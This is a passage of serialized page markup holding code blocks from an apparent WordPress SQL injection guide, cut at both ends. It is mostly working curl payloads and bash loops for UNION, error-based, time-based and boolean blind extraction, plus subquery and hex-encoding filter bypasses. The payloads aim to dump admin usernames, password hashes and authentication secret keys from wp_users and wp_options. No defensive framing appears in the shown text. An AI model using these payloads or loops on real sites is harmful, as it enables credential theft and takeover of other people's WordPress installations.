reflected\n",[36,10717,10718,10720,10722,10724,10726,10728,10730,10732],{"class":38,"line":83},[36,10719,92],{"class":49},[36,10721,96],{"class":95},[36,10723,792],{"class":95},[36,10725,795],{"class":53},[36,10727,625],{"class":53},[36,10729,1911],{"class":605},[36,10731,631],{"class":53},[36,10733,155],{"class":95},[36,10735,10736,10738,10740],{"class":38,"line":89},[36,10737,3811],{"class":95},[36,10739,10575],{"class":53},[36,10741,155],{"class":95},[36,10743,10744,10746],{"class":38,"line":115},[36,10745,3811],{"class":95},[36,10747,10748],{"class":53}," \"search=notfound' UNION SELECT 'col1','col2','col3','col4','col5'-- -\"\n",[36,10750,10751],{"class":38,"line":133},[36,10752,61],{"emptyLinePlaceholder":60},[36,10754,10755],{"class":38,"line":138},[36,10756,10757],{"class":42},"# If response contains 'col2', column 2 is reflected\n",[684,10759,10761],{"id":10760},"step-3-extract-data","Step 3: Extract Data",[26,10763,10765],{"className":28,"code":10764,"language":30,"meta":31,"style":31},"# Extract WordPress user credentials\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"search=notfound' UNION SELECT user_login,user_pass,user_email,user_registered,ID FROM wp_users LIMIT 5-- -\"\n\n# Concatenate multiple values into one column\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"search=notfound' UNION SELECT CONCAT(user_login,0x3a,user_pass),2,3,4,5 FROM wp_users LIMIT 5-- -\"\n\n# Extract WordPress secret keys from options table\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"search=notfound' UNION SELECT option_name,option_value,3,4,5 FROM wp_options WHERE option_name IN ('auth_key','secure_auth_key','logged_in_key')-- -\"\n\n# Get database version and user\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"search=notfound' UNION SELECT version(),user(),database(),4,5-- -\"\n",[33,10766,10767,10772,10790,10798,10805,10809,10814,10832,10840,10847,10851,10856,10874,10882,10889,10893,10898,10916,10924],{"__ignoreMap":31},[36,10768,10769],{"class":38,"line":39},[36,10770,10771],{"class":42},"# Extract WordPress user credentials\n",[36,10773,10774,10776,10778,10780,10782,10784,10786,10788],{"class":38,"line":46},[36,10775,92],{"class":49},[36,10777,96],{"class":95},[36,10779,792],{"class":95},[36,10781,795],{"class":53},[36,10783,625],{"class":53},[36,10785,1911],{"class":605},[36,10787,631],{"class":53},[36,10789,155],{"class":95},[36,10791,10792,10794,10796],{"class":38,"line":57},[36,10793,3811],{"class":95},[36,10795,10575],{"class":53},[36,10797,155],{"class":95},[36,10799,10800,10802],{"class":38,"line":64},[36,10801,3811],{"class":95},[36,10803,10804],{"class":53}," \"search=notfound' UNION SELECT user_login,user_pass,user_email,user_registered,ID FROM wp_users LIMIT 5-- -\"\n",[36,10806,10807],{"class":38,"line":70},[36,10808,61],{"emptyLinePlaceholder":60},[36,10810,10811],{"class":38,"line":78},[36,10812,10813],{"class":42},"# Concatenate multiple values into one column\n",[36,10815,10816,10818,10820,10822,10824,10826,10828,10830],{"class":38,"line":83},[36,10817,92],{"class":49},[36,10819,96],{"class":95},[36,10821,792],{"class":95},[36,10823,795],{"class":53},[36,10825,625],{"class":53},[36,10827,1911],{"class":605},[36,10829,631],{"class":53},[36,10831,155],{"class":95},[36,10833,10834,10836,10838],{"class":38,"line":89},[36,10835,3811],{"class":95},[36,10837,10575],{"class":53},[36,10839,155],{"class":95},[36,10841,10842,10844],{"class":38,"line":115},[36,10843,3811],{"class":95},[36,10845,10846],{"class":53}," \"search=notfound' UNION SELECT CONCAT(user_login,0x3a,user_pass),2,3,4,5 FROM wp_users LIMIT 5-- -\"\n",[36,10848,10849],{"class":38,"line":133},[36,10850,61],{"emptyLinePlaceholder":60},[36,10852,10853],{"class":38,"line":138},[36,10854,10855],{"class":42},"# Extract WordPress secret keys from options table\n",[36,10857,10858,10860,10862,10864,10866,10868,10870,10872],{"class":38,"line":144},[36,10859,92],{"class":49},[36,10861,96],{"class":95},[36,10863,792],{"class":95},[36,10865,795],{"class":53},[36,10867,625],{"class":53},[36,10869,1911],{"class":605},[36,10871,631],{"class":53},[36,10873,155],{"class":95},[36,10875,10876,10878,10880],{"class":38,"line":158},[36,10877,3811],{"class":95},[36,10879,10575],{"class":53},[36,10881,155],{"class":95},[36,10883,10884,10886],{"class":38,"line":255},[36,10885,3811],{"class":95},[36,10887,10888],{"class":53}," \"search=notfound' UNION SELECT option_name,option_value,3,4,5 FROM wp_options WHERE option_name IN ('auth_key','secure_auth_key','logged_in_key')-- -\"\n",[36,10890,10891],{"class":38,"line":261},[36,10892,61],{"emptyLinePlaceholder":60},[36,10894,10895],{"class":38,"line":267},[36,10896,10897],{"class":42},"# Get database version and user\n",[36,10899,10900,10902,10904,10906,10908,10910,10912,10914],{"class":38,"line":273},[36,10901,92],{"class":49},[36,10903,96],{"class":95},[36,10905,792],{"class":95},[36,10907,795],{"class":53},[36,10909,625],{"class":53},[36,10911,1911],{"class":605},[36,10913,631],{"class":53},[36,10915,155],{"class":95},[36,10917,10918,10920,10922],{"class":38,"line":279},[36,10919,3811],{"class":95},[36,10921,10575],{"class":53},[36,10923,155],{"class":95},[36,10925,10926,10928],{"class":38,"line":285},[36,10927,3811],{"class":95},[36,10929,10930],{"class":53}," \"search=notfound' UNION SELECT version(),user(),database(),4,5-- -\"\n",[18,10932,10934],{"id":10933},"error-based-extraction","Error-Based Extraction",[14,10936,10937],{},"When UNION is not available but errors are displayed:",[26,10939,10941],{"className":28,"code":10940,"language":30,"meta":31,"style":31},"# MySQL extractvalue() error-based\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"id=1 AND extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE user_login='admin'),0x7e))-- -\"\n\n# MySQL updatexml() error-based\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -\"\n\n# Longer output via group_concat + error\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(user_login,0x3a,user_pass) FROM wp_users),0x7e))-- -\"\n",[33,10942,10943,10948,10966,10974,10981,10985,10990,11008,11016,11023,11027,11032,11050,11058],{"__ignoreMap":31},[36,10944,10945],{"class":38,"line":39},[36,10946,10947],{"class":42},"# MySQL extractvalue() error-based\n",[36,10949,10950,10952,10954,10956,10958,10960,10962,10964],{"class":38,"line":46},[36,10951,92],{"class":49},[36,10953,96],{"class":95},[36,10955,792],{"class":95},[36,10957,795],{"class":53},[36,10959,625],{"class":53},[36,10961,1911],{"class":605},[36,10963,631],{"class":53},[36,10965,155],{"class":95},[36,10967,10968,10970,10972],{"class":38,"line":57},[36,10969,3811],{"class":95},[36,10971,10575],{"class":53},[36,10973,155],{"class":95},[36,10975,10976,10978],{"class":38,"line":64},[36,10977,3811],{"class":95},[36,10979,10980],{"class":53}," \"id=1 AND extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE user_login='admin'),0x7e))-- -\"\n",[36,10982,10983],{"class":38,"line":70},[36,10984,61],{"emptyLinePlaceholder":60},[36,10986,10987],{"class":38,"line":78},[36,10988,10989],{"class":42},"# MySQL updatexml() error-based\n",[36,10991,10992,10994,10996,10998,11000,11002,11004,11006],{"class":38,"line":83},[36,10993,92],{"class":49},[36,10995,96],{"class":95},[36,10997,792],{"class":95},[36,10999,795],{"class":53},[36,11001,625],{"class":53},[36,11003,1911],{"class":605},[36,11005,631],{"class":53},[36,11007,155],{"class":95},[36,11009,11010,11012,11014],{"class":38,"line":89},[36,11011,3811],{"class":95},[36,11013,10575],{"class":53},[36,11015,155],{"class":95},[36,11017,11018,11020],{"class":38,"line":115},[36,11019,3811],{"class":95},[36,11021,11022],{"class":53}," \"id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -\"\n",[36,11024,11025],{"class":38,"line":133},[36,11026,61],{"emptyLinePlaceholder":60},[36,11028,11029],{"class":38,"line":138},[36,11030,11031],{"class":42},"# Longer output via group_concat + error\n",[36,11033,11034,11036,11038,11040,11042,11044,11046,11048],{"class":38,"line":144},[36,11035,92],{"class":49},[36,11037,96],{"class":95},[36,11039,792],{"class":95},[36,11041,795],{"class":53},[36,11043,625],{"class":53},[36,11045,1911],{"class":605},[36,11047,631],{"class":53},[36,11049,155],{"class":95},[36,11051,11052,11054,11056],{"class":38,"line":158},[36,11053,3811],{"class":95},[36,11055,10575],{"class":53},[36,11057,155],{"class":95},[36,11059,11060,11062],{"class":38,"line":255},[36,11061,3811],{"class":95},[36,11063,11064],{"class":53}," \"id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(user_login,0x3a,user_pass) FROM wp_users),0x7e))-- -\"\n",[18,11066,11068],{"id":11067},"time-based-blind-extraction","Time-Based Blind Extraction",[14,11070,11071],{},"When there is no output but the query executes:",[26,11073,11075],{"className":28,"code":11074,"language":30,"meta":31,"style":31},"# Verify injection with sleep\ntime curl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"id=1' AND SLEEP(5)-- -\"\n\n# Extract data bit by bit (character by character approach)\n# Check if first char of admin password hash is '2' (common for bcrypt $P$)\ntime curl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"id=1' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1)='\\$',SLEEP(5),0)-- -\"\n\n# Practical: Extract one character at a time with ASCII comparison\nfor pos in 1 2 3 4 5 6 7 8 9 10; do\n    for ascii in $(seq 32 126); do\n        CHAR=$(printf \"\\\\x$(printf '%02x' $ascii)\")\n        ELAPSED=$(curl -s -o \u002Fdev\u002Fnull -w \"%{time_total}\" -X POST \"$TARGET\" \\\n          --data-urlencode \"action=vulnerable_action\" \\\n          --data-urlencode \"id=1' AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),$pos,1))=$ascii,SLEEP(2),0)-- -\")\n        if (( $(echo \"$ELAPSED > 1.5\" | bc -l) )); then\n            echo \"Position $pos: $CHAR (ASCII $ascii)\"\n            break\n        fi\n    done\ndone\n",[33,11076,11077,11082,11097,11105,11112,11116,11121,11126,11140,11148,11160,11164,11169,11202,11226,11259,11293,11302,11322,11351,11373,11378,11383,11388],{"__ignoreMap":31},[36,11078,11079],{"class":38,"line":39},[36,11080,11081],{"class":42},"# Verify injection with sleep\n",[36,11083,11084,11086,11089,11091,11093,11095],{"class":38,"line":46},[36,11085,1115],{"class":102},[36,11087,11088],{"class":605}," curl -s -X POST ",[36,11090,631],{"class":53},[36,11092,1911],{"class":605},[36,11094,631],{"class":53},[36,11096,155],{"class":95},[36,11098,11099,11101,11103],{"class":38,"line":57},[36,11100,3811],{"class":49},[36,11102,10575],{"class":53},[36,11104,155],{"class":95},[36,11106,11107,11109],{"class":38,"line":64},[36,11108,3811],{"class":95},[36,11110,11111],{"class":53}," \"id=1' AND SLEEP(5)-- -\"\n",[36,11113,11114],{"class":38,"line":70},[36,11115,61],{"emptyLinePlaceholder":60},[36,11117,11118],{"class":38,"line":78},[36,11119,11120],{"class":42},"# Extract data bit by bit (character by character approach)\n",[36,11122,11123],{"class":38,"line":83},[36,11124,11125],{"class":42},"# Check if first char of admin password hash is '2' (common for bcrypt $P$)\n",[36,11127,11128,11130,11132,11134,11136,11138],{"class":38,"line":89},[36,11129,1115],{"class":102},[36,11131,11088],{"class":605},[36,11133,631],{"class":53},[36,11135,1911],{"class":605},[36,11137,631],{"class":53},[36,11139,155],{"class":95},[36,11141,11142,11144,11146],{"class":38,"line":115},[36,11143,3811],{"class":49},[36,11145,10575],{"class":53},[36,11147,155],{"class":95},[36,11149,11150,11152,11155,11157],{"class":38,"line":133},[36,11151,3811],{"class":95},[36,11153,11154],{"class":53}," \"id=1' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1)='",[36,11156,4591],{"class":95},[36,11158,11159],{"class":53},"',SLEEP(5),0)-- -\"\n",[36,11161,11162],{"class":38,"line":138},[36,11163,61],{"emptyLinePlaceholder":60},[36,11165,11166],{"class":38,"line":144},[36,11167,11168],{"class":42},"# Practical: Extract one character at a time with ASCII comparison\n",[36,11170,11171,11173,11176,11178,11180,11182,11184,11186,11188,11190,11192,11194,11196,11198,11200],{"class":38,"line":158},[36,11172,1325],{"class":102},[36,11174,11175],{"class":605}," pos ",[36,11177,1331],{"class":102},[36,11179,1340],{"class":53},[36,11181,10515],{"class":53},[36,11183,10518],{"class":53},[36,11185,10521],{"class":53},[36,11187,10524],{"class":53},[36,11189,10527],{"class":53},[36,11191,10530],{"class":53},[36,11193,10533],{"class":53},[36,11195,10536],{"class":53},[36,11197,10539],{"class":53},[36,11199,606],{"class":605},[36,11201,609],{"class":102},[36,11203,11204,11207,11210,11212,11214,11216,11219,11222,11224],{"class":38,"line":255},[36,11205,11206],{"class":102},"    for",[36,11208,11209],{"class":605}," ascii ",[36,11211,1331],{"class":102},[36,11213,1334],{"class":605},[36,11215,1337],{"class":49},[36,11217,11218],{"class":95}," 32",[36,11220,11221],{"class":95}," 126",[36,11223,1346],{"class":605},[36,11225,609],{"class":102},[36,11227,11228,11231,11233,11235,11238,11240,11243,11246,11248,11251,11254,11257],{"class":38,"line":261},[36,11229,11230],{"class":605},"        CHAR",[36,11232,1220],{"class":102},[36,11234,1358],{"class":605},[36,11236,11237],{"class":95},"printf",[36,11239,625],{"class":53},[36,11241,11242],{"class":95},"\\\\",[36,11244,11245],{"class":53},"x$(",[36,11247,11237],{"class":95},[36,11249,11250],{"class":53}," '%02x' ",[36,11252,11253],{"class":605},"$ascii",[36,11255,11256],{"class":53},")\"",[36,11258,1385],{"class":605},[36,11260,11261,11264,11266,11268,11270,11272,11274,11276,11278,11281,11283,11285,11287,11289,11291],{"class":38,"line":267},[36,11262,11263],{"class":605},"        ELAPSED",[36,11265,1220],{"class":102},[36,11267,1358],{"class":605},[36,11269,92],{"class":49},[36,11271,96],{"class":95},[36,11273,2107],{"class":95},[36,11275,2110],{"class":53},[36,11277,2113],{"class":95},[36,11279,11280],{"class":53}," \"%{time_total}\"",[36,11282,792],{"class":95},[36,11284,795],{"class":53},[36,11286,625],{"class":53},[36,11288,1911],{"class":605},[36,11290,631],{"class":53},[36,11292,155],{"class":95},[36,11294,11295,11298,11300],{"class":38,"line":273},[36,11296,11297],{"class":95},"          --data-urlencode",[36,11299,10575],{"class":53},[36,11301,155],{"class":95},[36,11303,11304,11306,11309,11312,11315,11317,11320],{"class":38,"line":279},[36,11305,11297],{"class":95},[36,11307,11308],{"class":53}," \"id=1' AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),",[36,11310,11311],{"class":605},"$pos",[36,11313,11314],{"class":53},",1))=",[36,11316,11253],{"class":605},[36,11318,11319],{"class":53},",SLEEP(2),0)-- -\"",[36,11321,1385],{"class":605},[36,11323,11324,11327,11330,11332,11335,11338,11340,11343,11346,11349],{"class":38,"line":285},[36,11325,11326],{"class":102},"        if",[36,11328,11329],{"class":605}," (( $(echo ",[36,11331,631],{"class":53},[36,11333,11334],{"class":605},"$ELAPSED",[36,11336,11337],{"class":53}," > 1.5\"",[36,11339,103],{"class":102},[36,11341,11342],{"class":605}," bc ",[36,11344,11345],{"class":102},"-",[36,11347,11348],{"class":605},"l) )); ",[36,11350,655],{"class":102},[36,11352,11353,11356,11359,11361,11363,11366,11369,11371],{"class":38,"line":291},[36,11354,11355],{"class":95},"            echo",[36,11357,11358],{"class":53}," \"Position ",[36,11360,11311],{"class":605},[36,11362,1424],{"class":53},[36,11364,11365],{"class":605},"$CHAR",[36,11367,11368],{"class":53}," (ASCII ",[36,11370,11253],{"class":605},[36,11372,1241],{"class":53},[36,11374,11375],{"class":38,"line":297},[36,11376,11377],{"class":102},"            break\n",[36,11379,11380],{"class":38,"line":303},[36,11381,11382],{"class":102},"        fi\n",[36,11384,11385],{"class":38,"line":308},[36,11386,11387],{"class":102},"    done\n",[36,11389,11390],{"class":38,"line":314},[36,11391,678],{"class":102},[18,11393,11395],{"id":11394},"boolean-based-blind-extraction","Boolean-Based Blind Extraction",[26,11397,11399],{"className":28,"code":11398,"language":30,"meta":31,"style":31},"# Verify boolean injection - two different responses for true\u002Ffalse\nRESPONSE_TRUE=$(curl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"id=1' AND 1=1-- -\")\n\nRESPONSE_FALSE=$(curl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"id=1' AND 1=2-- -\")\n\n# Compare lengths to verify boolean injection works\necho \"True response length: ${#RESPONSE_TRUE}\"\necho \"False response length: ${#RESPONSE_FALSE}\"\n\n# Binary search for character ASCII value\nextract_char() {\n    local query=\"$1\"\n    local pos=\"$2\"\n    local lo=32\n    local hi=126\n\n    while [ $lo -lt $hi ]; do\n        mid=$(( (lo + hi) \u002F 2 ))\n        RESPONSE=$(curl -s -X POST \"$TARGET\" \\\n          --data-urlencode \"action=vulnerable_action\" \\\n          --data-urlencode \"id=1' AND ASCII(SUBSTRING(($query),$pos,1))>$mid-- -\")\n        # Check if response matches \"true\" response pattern\n        if echo \"$RESPONSE\" | grep -q \"expected_true_indicator\"; then\n            lo=$((mid + 1))\n        else\n            hi=$mid\n        fi\n    done\n    printf \"\\\\x$(printf '%02x' $lo)\"\n}\n",[33,11400,11401,11406,11431,11439,11448,11452,11477,11485,11494,11498,11503,11518,11531,11535,11540,11548,11565,11581,11593,11605,11609,11625,11654,11679,11687,11712,11717,11742,11762,11767,11777,11781,11785,11805],{"__ignoreMap":31},[36,11402,11403],{"class":38,"line":39},[36,11404,11405],{"class":42},"# Verify boolean injection - two different responses for true\u002Ffalse\n",[36,11407,11408,11411,11413,11415,11417,11419,11421,11423,11425,11427,11429],{"class":38,"line":46},[36,11409,11410],{"class":605},"RESPONSE_TRUE",[36,11412,1220],{"class":102},[36,11414,1358],{"class":605},[36,11416,92],{"class":49},[36,11418,96],{"class":95},[36,11420,792],{"class":95},[36,11422,795],{"class":53},[36,11424,625],{"class":53},[36,11426,1911],{"class":605},[36,11428,631],{"class":53},[36,11430,155],{"class":95},[36,11432,11433,11435,11437],{"class":38,"line":57},[36,11434,3811],{"class":95},[36,11436,10575],{"class":53},[36,11438,155],{"class":95},[36,11440,11441,11443,11446],{"class":38,"line":64},[36,11442,3811],{"class":95},[36,11444,11445],{"class":53}," \"id=1' AND 1=1-- -\"",[36,11447,1385],{"class":605},[36,11449,11450],{"class":38,"line":70},[36,11451,61],{"emptyLinePlaceholder":60},[36,11453,11454,11457,11459,11461,11463,11465,11467,11469,11471,11473,11475],{"class":38,"line":78},[36,11455,11456],{"class":605},"RESPONSE_FALSE",[36,11458,1220],{"class":102},[36,11460,1358],{"class":605},[36,11462,92],{"class":49},[36,11464,96],{"class":95},[36,11466,792],{"class":95},[36,11468,795],{"class":53},[36,11470,625],{"class":53},[36,11472,1911],{"class":605},[36,11474,631],{"class":53},[36,11476,155],{"class":95},[36,11478,11479,11481,11483],{"class":38,"line":83},[36,11480,3811],{"class":95},[36,11482,10575],{"class":53},[36,11484,155],{"class":95},[36,11486,11487,11489,11492],{"class":38,"line":89},[36,11488,3811],{"class":95},[36,11490,11491],{"class":53}," \"id=1' AND 1=2-- -\"",[36,11493,1385],{"class":605},[36,11495,11496],{"class":38,"line":115},[36,11497,61],{"emptyLinePlaceholder":60},[36,11499,11500],{"class":38,"line":133},[36,11501,11502],{"class":42},"# Compare lengths to verify boolean injection works\n",[36,11504,11505,11507,11510,11513,11515],{"class":38,"line":138},[36,11506,1226],{"class":95},[36,11508,11509],{"class":53}," \"True response length: ${",[36,11511,11512],{"class":102},"#",[36,11514,11410],{"class":605},[36,11516,11517],{"class":53},"}\"\n",[36,11519,11520,11522,11525,11527,11529],{"class":38,"line":144},[36,11521,1226],{"class":95},[36,11523,11524],{"class":53}," \"False response length: ${",[36,11526,11512],{"class":102},[36,11528,11456],{"class":605},[36,11530,11517],{"class":53},[36,11532,11533],{"class":38,"line":158},[36,11534,61],{"emptyLinePlaceholder":60},[36,11536,11537],{"class":38,"line":255},[36,11538,11539],{"class":42},"# Binary search for character ASCII value\n",[36,11541,11542,11545],{"class":38,"line":261},[36,11543,11544],{"class":49},"extract_char",[36,11546,11547],{"class":605},"() {\n",[36,11549,11550,11553,11556,11558,11560,11563],{"class":38,"line":267},[36,11551,11552],{"class":102},"    local",[36,11554,11555],{"class":605}," query",[36,11557,1220],{"class":102},[36,11559,631],{"class":53},[36,11561,11562],{"class":95},"$1",[36,11564,668],{"class":53},[36,11566,11567,11569,11572,11574,11576,11579],{"class":38,"line":273},[36,11568,11552],{"class":102},[36,11570,11571],{"class":605}," pos",[36,11573,1220],{"class":102},[36,11575,631],{"class":53},[36,11577,11578],{"class":95},"$2",[36,11580,668],{"class":53},[36,11582,11583,11585,11588,11590],{"class":38,"line":279},[36,11584,11552],{"class":102},[36,11586,11587],{"class":605}," lo",[36,11589,1220],{"class":102},[36,11591,11592],{"class":95},"32\n",[36,11594,11595,11597,11600,11602],{"class":38,"line":285},[36,11596,11552],{"class":102},[36,11598,11599],{"class":605}," hi",[36,11601,1220],{"class":102},[36,11603,11604],{"class":95},"126\n",[36,11606,11607],{"class":38,"line":291},[36,11608,61],{"emptyLinePlaceholder":60},[36,11610,11611,11614,11617,11620,11623],{"class":38,"line":297},[36,11612,11613],{"class":102},"    while",[36,11615,11616],{"class":605}," [ $lo ",[36,11618,11619],{"class":102},"-lt",[36,11621,11622],{"class":605}," $hi ]; ",[36,11624,609],{"class":102},[36,11626,11627,11630,11632,11635,11638,11641,11643,11646,11649,11651],{"class":38,"line":303},[36,11628,11629],{"class":605},"        mid",[36,11631,1220],{"class":102},[36,11633,11634],{"class":605},"$(( (",[36,11636,11637],{"class":49},"lo",[36,11639,11640],{"class":53}," +",[36,11642,11599],{"class":53},[36,11644,11645],{"class":605},") ",[36,11647,11648],{"class":49},"\u002F",[36,11650,10515],{"class":95},[36,11652,11653],{"class":605}," ))\n",[36,11655,11656,11659,11661,11663,11665,11667,11669,11671,11673,11675,11677],{"class":38,"line":308},[36,11657,11658],{"class":605},"        RESPONSE",[36,11660,1220],{"class":102},[36,11662,1358],{"class":605},[36,11664,92],{"class":49},[36,11666,96],{"class":95},[36,11668,792],{"class":95},[36,11670,795],{"class":53},[36,11672,625],{"class":53},[36,11674,1911],{"class":605},[36,11676,631],{"class":53},[36,11678,155],{"class":95},[36,11680,11681,11683,11685],{"class":38,"line":314},[36,11682,11297],{"class":95},[36,11684,10575],{"class":53},[36,11686,155],{"class":95},[36,11688,11689,11691,11694,11697,11700,11702,11705,11708,11710],{"class":38,"line":320},[36,11690,11297],{"class":95},[36,11692,11693],{"class":53}," \"id=1' AND ASCII(SUBSTRING((",[36,11695,11696],{"class":605},"$query",[36,11698,11699],{"class":53},"),",[36,11701,11311],{"class":605},[36,11703,11704],{"class":53},",1))>",[36,11706,11707],{"class":605},"$mid",[36,11709,10590],{"class":53},[36,11711,1385],{"class":605},[36,11713,11714],{"class":38,"line":326},[36,11715,11716],{"class":42},"        # Check if response matches \"true\" response pattern\n",[36,11718,11719,11721,11723,11725,11727,11729,11731,11733,11735,11738,11740],{"class":38,"line":331},[36,11720,11326],{"class":102},[36,11722,1392],{"class":95},[36,11724,625],{"class":53},[36,11726,1397],{"class":605},[36,11728,631],{"class":53},[36,11730,103],{"class":102},[36,11732,617],{"class":49},[36,11734,620],{"class":95},[36,11736,11737],{"class":53}," \"expected_true_indicator\"",[36,11739,606],{"class":605},[36,11741,655],{"class":102},[36,11743,11744,11747,11749,11752,11755,11757,11759],{"class":38,"line":337},[36,11745,11746],{"class":605},"            lo",[36,11748,1220],{"class":102},[36,11750,11751],{"class":605},"$((",[36,11753,11754],{"class":49},"mid",[36,11756,11640],{"class":53},[36,11758,1340],{"class":95},[36,11760,11761],{"class":605},"))\n",[36,11763,11764],{"class":38,"line":343},[36,11765,11766],{"class":102},"        else\n",[36,11768,11769,11772,11774],{"class":38,"line":349},[36,11770,11771],{"class":605},"            hi",[36,11773,1220],{"class":102},[36,11775,11776],{"class":605},"$mid\n",[36,11778,11779],{"class":38,"line":355},[36,11780,11382],{"class":102},[36,11782,11783],{"class":38,"line":6676},[36,11784,11387],{"class":102},[36,11786,11787,11790,11792,11794,11796,11798,11800,11803],{"class":38,"line":6686},[36,11788,11789],{"class":95},"    printf",[36,11791,625],{"class":53},[36,11793,11242],{"class":95},[36,11795,11245],{"class":53},[36,11797,11237],{"class":95},[36,11799,11250],{"class":53},[36,11801,11802],{"class":605},"$lo",[36,11804,1241],{"class":53},[36,11806,11807],{"class":38,"line":6691},[36,11808,323],{"class":605},[18,11810,11812],{"id":11811},"subquery-based-extraction","Subquery-Based Extraction",[14,11814,11815],{},"When UNION fails (due to column type mismatch or WAF), use subqueries:",[26,11817,11819],{"className":28,"code":11818,"language":30,"meta":31,"style":31},"# Inject subquery into WHERE clause\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"search=test' AND 1=(SELECT 1 FROM wp_users WHERE SUBSTRING(user_pass,1,3)='\\$P\\$')-- -\"\n\n# Subquery in ORDER BY (common bypass)\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"order=( SELECT CASE WHEN (1=1) THEN post_date ELSE post_title END )\"\n",[33,11820,11821,11826,11844,11852,11869,11873,11878,11896,11904],{"__ignoreMap":31},[36,11822,11823],{"class":38,"line":39},[36,11824,11825],{"class":42},"# Inject subquery into WHERE clause\n",[36,11827,11828,11830,11832,11834,11836,11838,11840,11842],{"class":38,"line":46},[36,11829,92],{"class":49},[36,11831,96],{"class":95},[36,11833,792],{"class":95},[36,11835,795],{"class":53},[36,11837,625],{"class":53},[36,11839,1911],{"class":605},[36,11841,631],{"class":53},[36,11843,155],{"class":95},[36,11845,11846,11848,11850],{"class":38,"line":57},[36,11847,3811],{"class":95},[36,11849,10575],{"class":53},[36,11851,155],{"class":95},[36,11853,11854,11856,11859,11861,11864,11866],{"class":38,"line":64},[36,11855,3811],{"class":95},[36,11857,11858],{"class":53}," \"search=test' AND 1=(SELECT 1 FROM wp_users WHERE SUBSTRING(user_pass,1,3)='",[36,11860,4591],{"class":95},[36,11862,11863],{"class":53},"P",[36,11865,4591],{"class":95},[36,11867,11868],{"class":53},"')-- -\"\n",[36,11870,11871],{"class":38,"line":70},[36,11872,61],{"emptyLinePlaceholder":60},[36,11874,11875],{"class":38,"line":78},[36,11876,11877],{"class":42},"# Subquery in ORDER BY (common bypass)\n",[36,11879,11880,11882,11884,11886,11888,11890,11892,11894],{"class":38,"line":83},[36,11881,92],{"class":49},[36,11883,96],{"class":95},[36,11885,792],{"class":95},[36,11887,795],{"class":53},[36,11889,625],{"class":53},[36,11891,1911],{"class":605},[36,11893,631],{"class":53},[36,11895,155],{"class":95},[36,11897,11898,11900,11902],{"class":38,"line":89},[36,11899,3811],{"class":95},[36,11901,10575],{"class":53},[36,11903,155],{"class":95},[36,11905,11906,11908],{"class":38,"line":115},[36,11907,3811],{"class":95},[36,11909,11910],{"class":53}," \"order=( SELECT CASE WHEN (1=1) THEN post_date ELSE post_title END )\"\n",[18,11912,11914],{"id":11913},"hex-encoding-to-bypass-quote-filtering","Hex Encoding to Bypass Quote Filtering",[14,11916,11917],{},"When single quotes are filtered or escaped:",[26,11919,11921],{"className":28,"code":11920,"language":30,"meta":31,"style":31},"# Convert string to hex (no quotes needed)\npython3 -c \"print('admin'.encode().hex())\"\n# Output: 61646d696e\n\n# Use hex in injection\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"search=notfound UNION SELECT user_login,user_pass FROM wp_users WHERE user_login=0x61646d696e-- -\"\n\n# Hex-encoded table name and string\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"search=notfound UNION SELECT user_pass,2 FROM wp_users WHERE user_login=char(97,100,109,105,110)-- -\"\n",[33,11922,11923,11928,11938,11943,11947,11952,11970,11978,11985,11989,11994,12012,12020],{"__ignoreMap":31},[36,11924,11925],{"class":38,"line":39},[36,11926,11927],{"class":42},"# Convert string to hex (no quotes needed)\n",[36,11929,11930,11933,11935],{"class":38,"line":46},[36,11931,11932],{"class":49},"python3",[36,11934,164],{"class":95},[36,11936,11937],{"class":53}," \"print('admin'.encode().hex())\"\n",[36,11939,11940],{"class":38,"line":57},[36,11941,11942],{"class":42},"# Output: 61646d696e\n",[36,11944,11945],{"class":38,"line":64},[36,11946,61],{"emptyLinePlaceholder":60},[36,11948,11949],{"class":38,"line":70},[36,11950,11951],{"class":42},"# Use hex in 